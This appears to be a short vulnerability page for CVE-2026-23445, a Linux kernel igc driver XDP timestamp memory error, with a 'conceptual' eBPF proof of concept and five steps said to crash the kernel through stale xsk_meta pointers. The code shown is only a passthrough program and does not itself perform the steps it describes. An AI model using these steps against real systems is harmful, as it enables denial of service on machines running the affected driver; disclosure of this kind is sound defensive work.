CVE-2026-23445 Linux内核igc驱动XDP时间戳内存错误

#include <linux/bpf.h> #include <bpf/bpf_helpers.h> #include <linux/if_ether.h> // This is a conceptual PoC structure to trigger the race condition. // A full exploit would require setting up AF_XDP sockets and enabling TX timestamps. SEC("xdp") int trigger_vulnerability(struct xdp_md *ctx) { // The vulnerability is triggered by the XDP program lifecycle // specifically requesting TX timestamps and then closing the socket // while the interface link is up, leaving stale xsk_meta pointers. void *data_end = (void *)(long)ctx->data_end; void *data = (void *)(long)ctx->data; // Normal packet processing (passthrough) return XDP_TX; } char _license[] SEC("license") = "GPL"; /* * To reproduce: * 1. Load an XDP program that requests TX timestamps on an igc interface. * 2. Ensure the interface link is up. * 3. Send traffic to trigger TX timestamp requests. * 4. Shutdown the XDP application abruptly. * 5. The kernel will crash in igc_ptp_tx_tstamp_event due to stale xsk_meta. */